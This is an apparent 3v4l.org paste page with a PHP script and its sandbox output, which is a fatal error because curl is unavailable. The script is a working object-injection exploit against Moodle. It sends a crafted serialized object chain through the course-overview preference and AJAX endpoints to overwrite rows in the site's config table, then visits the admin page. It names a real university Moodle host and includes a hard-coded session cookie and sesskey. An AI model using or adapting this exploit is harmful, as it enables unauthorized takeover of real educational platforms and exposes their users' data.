3v4l.org

run code in 300+ PHP versions simultaneously
<?php namespace { class gradereport_singleviewlocaluifeedback{ } } namespace { class gradereport_overview_external{ } class grade_item{ } class grade_grade{ } function httpPost($url, $data, $MoodleSession, $json) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); if($json){ array_push($headers, 'Content-Type: application/json'); }else{ $data = urldecode(http_build_query($data)); } curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); var_dump($response); curl_close($curl); return $response; } function httpGet($url, $MoodleSession) { $curl = curl_init($url); $headers = array('Cookie: MoodleSession='.$MoodleSession); curl_setopt($curl, CURLOPT_HTTPHEADER, $headers); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($curl); echo $response; curl_close($curl); return $response; } function update_table($url, $MoodleSession, $sesskey, $table, $rowId, $column, $value){ $base = new gradereport_overview_external(); $fb = new gradereport_singleviewlocaluifeedback(); $fb -> grade = new grade_grade(); $fb -> grade -> grade_item = new grade_item(); $fb -> grade -> grade_item -> calculation = "[[somestring"; $fb -> grade -> grade_item -> calculation_normalized = false; $fb -> grade -> grade_item -> table = $table; $fb -> grade -> grade_item -> id = $rowId; $fb -> grade -> grade_item -> $column = $value; $fb -> grade -> grade_item -> required_fields = array($column,'id'); $arr = array(array($base),$fb); $value = serialize($arr); $data = array('sesskey' => $sesskey, 'sortorder[]' => 0); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); $data = json_encode(array(array('index'=> 0, 'methodname'=>'core_user_update_user_preferences','args'=>array('preferences'=>array(array('type'=> 'course_overview_course_order', 'value' => $value)))))); httpPost($url.'/lib/ajax/service.php?sesskey='.$sesskey, $data, $MoodleSession,1); httpGet($url.'/my/', $MoodleSession); } $url = 'http://moodlep.ucv.edu.br/moodle'; $MoodleSession = 'd9a6e039df23e68c076f83ff03e82699'; $sesskey = 'm2nzhNdJTn'; $table = "config"; $rowId = 25; $column = 'value'; $value = 3848; update_table($url, $MoodleSession,$sesskey,$table,$rowId,$column, $value); $rowId = 375; update_table($url, $MoodleSession,$sesskey,$table,$rowId, $column, sha1(time())); $data = array('sesskey' => $sesskey, 'sortorder[]' => 1); httpPost($url. '/blocks/course_overview/save.php',$data, $MoodleSession,0); var_dump($data); httpGet($url.'/admin/index.php?cache=0&confirmplugincheck=1',$MoodleSession); echo 'OK'; }
Output for 7.1.0 - 7.1.33, 7.2.0 - 7.2.25, 7.3.0 - 7.3.12, 7.4.0
Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/QFYXU:19 Stack trace: #0 /in/QFYXU(70): httpPost('http://moodlep....', Array, 'd9a6e039df23e68...', 0) #1 /in/QFYXU(87): update_table('http://moodlep....', 'd9a6e039df23e68...', 'm2nzhNdJTn', 'config', 25, 'value', 'a:2:{i:0;a:1:{i...') #2 {main} thrown in /in/QFYXU on line 19
Process exited with code 255.

preferences:
66.02 ms | 406 KiB | 5 Q